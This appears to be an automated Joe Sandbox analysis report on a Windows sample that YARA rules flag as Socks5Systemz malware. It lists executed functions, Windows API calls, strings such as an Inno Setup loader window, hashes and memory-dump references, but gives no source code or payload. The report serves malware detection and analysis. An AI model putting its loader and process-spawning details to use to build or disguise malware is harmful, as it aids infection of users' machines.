MD5 hash:	0E347C627EFDED3BF78AFA21FF8B54D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000003.00000002.2867940792.0000000000731000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	1514
Total number of Limit Nodes:	21

Executed Functions

Function 00409A14 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00409A26
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409A31
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409A72
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409AA4
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409AB4

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: c2769086b94dacb7810d1409196c7497058a42c32b70979fc979e51038c0ff67
Instruction ID: 05782b2e5a8588c9c74d05110837466633af9a4b7a19298b20ab433fd050a55e
Opcode Fuzzy Hash: c2769086b94dacb7810d1409196c7497058a42c32b70979fc979e51038c0ff67
Instruction Fuzzy Hash: D0216FB13003846BD6309A698C85E67B7DC9F85360F18492AFA85E62C3D73DED40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040515C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8ef9b48ed96d6a8df8db933101511442404bdd0abec70889978d036278c5d13e
Instruction ID: b78bf48cff894a3999656c5243e329942f020ab22272e2e872fdbeeaebf0035e
Opcode Fuzzy Hash: 8ef9b48ed96d6a8df8db933101511442404bdd0abec70889978d036278c5d13e
Instruction Fuzzy Hash: EDE09271B0021426D711A9699C86AEB735DDB58310F0006BFB904EB3C6EDB49E8046ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408FC8 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00409061,?,?,?,?,00000000,?,00409B53), ref: 00408FE8
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00408FEE
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,Wow64DisableWow64FsRedirection,00000000,00409061,?,?,?,?,00000000,?,00409B53), ref: 00409002
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00409008

Strings

shell32.dll, xrefs: 00409034
kernel32.dll, xrefs: 00408FE3, 00408FFD
Wow64DisableWow64FsRedirection, xrefs: 00408FDE
Wow64RevertWow64FsRedirection, xrefs: 00408FF8

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 17e7db4c528402608d9f53e260f8b79ce616995abb8d95c1af2dd02ed3ed6c5c
Instruction ID: 9fcc65c531327f2d7efb14c601a25e4e420c6304718e48176e9e04a6a3b299d5
Opcode Fuzzy Hash: 17e7db4c528402608d9f53e260f8b79ce616995abb8d95c1af2dd02ed3ed6c5c
Instruction Fuzzy Hash: 6701DF70208300AEEB10AB76DC47B563AA8E782714F60843BF504B22C3CA7C5C44CA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00409FB4 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A010
SetWindowLongA.USER32(00020420,000000FC,004097FC), ref: 0040A027

Part of subcall function 00406ADC: GetCommandLineA.KERNEL32(00000000,00406B20,?,?,?,?,00000000,?,0040A098,?), ref: 00406AF4

Part of subcall function 00409888: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974,00000000,0040995B), ref: 004098F8
Part of subcall function 00409888: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974,00000000), ref: 0040990C
Part of subcall function 00409888: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409925
Part of subcall function 00409888: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409937
Part of subcall function 00409888: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974), ref: 00409940

RemoveDirectoryA.KERNEL32(00000000,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A113
73A25CF0.USER32(00020420,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A127

Strings

STATIC, xrefs: 0040A009
InnoSetupLdrWindow, xrefs: 0040A004
/SL5="$%x,%d,%d,, xrefs: 0040A067

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateHandleProcessWindow$CodeCommandDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 978128352-3001827809
Opcode ID: f35d8c1ce23740e5e47570a4a7ea1aa6b0c7a4e1336b706dbfad7c34b6de0a74
Instruction ID: 994b03bd5abc72cbe06dd2c14f0861f5fc0fad0f3ad24bd21fe84be6bde737e4
Opcode Fuzzy Hash: f35d8c1ce23740e5e47570a4a7ea1aa6b0c7a4e1336b706dbfad7c34b6de0a74
Instruction Fuzzy Hash: 57411A70A00205DFD715EBA9EE86B9A7BA5EB84304F10427BF510B73E2DB789801DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409FD8 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409460: GetLastError.KERNEL32(00000000,00409503,?,0040B240,?,02072BFC), ref: 00409484

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A010
SetWindowLongA.USER32(00020420,000000FC,004097FC), ref: 0040A027

Part of subcall function 00406ADC: GetCommandLineA.KERNEL32(00000000,00406B20,?,?,?,?,00000000,?,0040A098,?), ref: 00406AF4

Part of subcall function 00409888: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974,00000000,0040995B), ref: 004098F8
Part of subcall function 00409888: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974,00000000), ref: 0040990C
Part of subcall function 00409888: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409925
Part of subcall function 00409888: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409937
Part of subcall function 00409888: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974), ref: 00409940

RemoveDirectoryA.KERNEL32(00000000,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A113
73A25CF0.USER32(00020420,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A127

Strings

STATIC, xrefs: 0040A009
InnoSetupLdrWindow, xrefs: 0040A004
/SL5="$%x,%d,%d,, xrefs: 0040A067

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateHandleProcessWindow$CodeCommandDirectoryErrorExitLastLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 240127915-3001827809
Opcode ID: 41e9b17cc1901837085009e7774581f9f675215498936b1d5fec870b95540319
Instruction ID: cbbd3698a6e5ddb8e812fa6c760aedb007618753dcf5685e5a94b93d1743052f
Opcode Fuzzy Hash: 41e9b17cc1901837085009e7774581f9f675215498936b1d5fec870b95540319
Instruction Fuzzy Hash: 04412B70A00205DBC715EBA9EE86B9E3BA5EB84304F10427BF510B73E2DB789801DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409888 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974,00000000,0040995B), ref: 004098F8
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974,00000000), ref: 0040990C
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409925
GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409937
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02072BFC,00409974), ref: 00409940

Part of subcall function 00409460: GetLastError.KERNEL32(00000000,00409503,?,0040B240,?,02072BFC), ref: 00409484

Strings

D, xrefs: 004098D2

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: 3e364823df46f41b243604843b678d585e88c5cad38ef85377b023b87dae9783
Instruction ID: 0c6d97fba1df7b16fba7b9ed0c132cba9133a3324ac8f072eb64155fee6ae1b7
Opcode Fuzzy Hash: 3e364823df46f41b243604843b678d585e88c5cad38ef85377b023b87dae9783
Instruction Fuzzy Hash: AC1130B16142086EDB10FBE68C52F9EBBACEF49718F50013EB614F62C7DA785D048669

Uniqueness

Uniqueness Score: -1.00%

Function 00409D26 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409D8A

Strings

.tmp, xrefs: 00409DD0
$u@, xrefs: 00409E3E

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Message
String ID: $u@$.tmp
API String ID: 2030045667-236237750
Opcode ID: 76a7687ccf1c1f3f155fed8792e4b2e0c469f7c74cc7371f2538726c547644a2
Instruction ID: fbeaf51a7290a35b1d20cf1acd7fffd14229a7cea4ec7fe779b7d8bf1d8f9ef0
Opcode Fuzzy Hash: 76a7687ccf1c1f3f155fed8792e4b2e0c469f7c74cc7371f2538726c547644a2
Instruction Fuzzy Hash: 7041A170604201DFD311EF19DE92A5A7BA6FB49304B11453AF801B73E2CB79AC01DAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00409D41 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409D8A

Strings

.tmp, xrefs: 00409DD0
$u@, xrefs: 00409E3E

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Message
String ID: $u@$.tmp
API String ID: 2030045667-236237750
Opcode ID: 4be92c8e37dddd0a3a50cfadddd3e7ce3c10b6794e32ae209eae1f209508f25f
Instruction ID: 7aabf0afbc79ebbbc3d3aa4d6af75c8ddef5afe13af9357e4f9bebdf666c2db7
Opcode Fuzzy Hash: 4be92c8e37dddd0a3a50cfadddd3e7ce3c10b6794e32ae209eae1f209508f25f
Instruction Fuzzy Hash: 66418070600201DFC711EF69DE92A5A7BB6FB49304B11457AF801B73E2CB79AC01DAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00409254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00409343,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040929A
GetLastError.KERNEL32(00000000,00000000,?,00000000,00409343,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004092A3

Strings

.tmp, xrefs: 00409283

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 7647810fba1c1a7df54c129ecd6d2966c744d5805a6f131b99297333171aebfe
Instruction ID: 381de743b5e558d6c5ac88c9815bc56a2e764fefa580558ac3af8d983805238d
Opcode Fuzzy Hash: 7647810fba1c1a7df54c129ecd6d2966c744d5805a6f131b99297333171aebfe
Instruction Fuzzy Hash: 3C214975A002089BDB01EFE1C9429DEB7B9EB48304F10457BE901B73C2DA7CAF058AA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406F00 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406F0A
LoadLibraryA.KERNEL32(00000000,00000000,00406F54,?,00000000,00406F72,?,00008000), ref: 00406F39

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 280b78466cfb49ac5d1a4d8de4e82968344a77d2278ba686a31885ea79f0a63b
Instruction ID: 61c75ae37e4b7eabf140846b9e9d3e90831ba1beb5fed57b889ca027c52d2016
Opcode Fuzzy Hash: 280b78466cfb49ac5d1a4d8de4e82968344a77d2278ba686a31885ea79f0a63b
Instruction Fuzzy Hash: 49F08270614704BEDB029FB69C6282BBBFCE749B0475348B6F904A26D2E53C5D208568

Uniqueness

Uniqueness Score: -1.00%

Function 004075CC Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 004075EB
GetLastError.KERNEL32(?,?,?,00000000), ref: 004075F3

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,020703AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 4b4e93de333a3cce642c2996d73c93b1535ff8d1f0695df8178d397978e57373
Instruction ID: cda5b13584bb414d1d7c0d7cef5a43535e1b929ad68122291bf656bee98e9d77
Opcode Fuzzy Hash: 4b4e93de333a3cce642c2996d73c93b1535ff8d1f0695df8178d397978e57373
Instruction Fuzzy Hash: A0E092766081016FD601D55EC881B9B33DCDFC5365F00453ABA54EB2D1D675AC0087B6

Uniqueness

Uniqueness Score: -1.00%

Function 0040758C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 004075A3
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 004075B2

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 60e63bc2ff5526e1bd28c8a7098a19329bed0093cf160d1b5924f83231400461
Instruction ID: 6d0e635579d8ef6deec62af0acb898b5effba2491802df9b0589d4017bc118ea
Opcode Fuzzy Hash: 60e63bc2ff5526e1bd28c8a7098a19329bed0093cf160d1b5924f83231400461
Instruction Fuzzy Hash: 4FE012B1A181147AEB24965A9CC5FAB6BDCCBC5314F14847BF904DB282D678DC04877B

Uniqueness

Uniqueness Score: -1.00%

Function 00407524 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 0040753B
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 00407547

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,020703AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 0dd762855ce75d8d861d21fe55c1929f9bb0fd02210f0b496c114b023f039fab
Instruction ID: cd7afd6369a15af5fc7b0f7528e30ca6696358c0ea2e6c45e94f6e0b4d50a73a
Opcode Fuzzy Hash: 0dd762855ce75d8d861d21fe55c1929f9bb0fd02210f0b496c114b023f039fab
Instruction Fuzzy Hash: 0EE04FB1600210AFEB10EEB98C81B9672DC9F48364F048576EA14DF2C6D274DC00C766

Uniqueness

Uniqueness Score: -1.00%

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Uniqueness

Uniqueness Score: -1.00%

Function 004051D0 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00405306), ref: 004051EF

Part of subcall function 00404C2C: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404C49

Part of subcall function 0040515C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 9ea3c66d670cb0c44a2644de082ff92dfdb36693542507e19320d23b5394a13d
Instruction ID: c760dbbb10683706500036a577470844d35ac6ab0c013c9c95042e4326961867
Opcode Fuzzy Hash: 9ea3c66d670cb0c44a2644de082ff92dfdb36693542507e19320d23b5394a13d
Instruction Fuzzy Hash: 3B313D75E00119ABCB00EF95C8C19EEB779FF84304F158977E815BB285E739AE058B98

Uniqueness

Uniqueness Score: -1.00%

Function 004074D6 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00407518

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce86d0b46b6749cbb1c8065cdd94f6338fa023cacd1506a2c152e65e14b54ccf
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: ce86d0b46b6749cbb1c8065cdd94f6338fa023cacd1506a2c152e65e14b54ccf
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Uniqueness

Uniqueness Score: -1.00%

Function 004074D8 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00407518

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5c7f1f50133f8918f9d70925a1da877e635501982028b62cfe689d085d452769
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 5c7f1f50133f8918f9d70925a1da877e635501982028b62cfe689d085d452769
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Uniqueness

Uniqueness Score: -1.00%

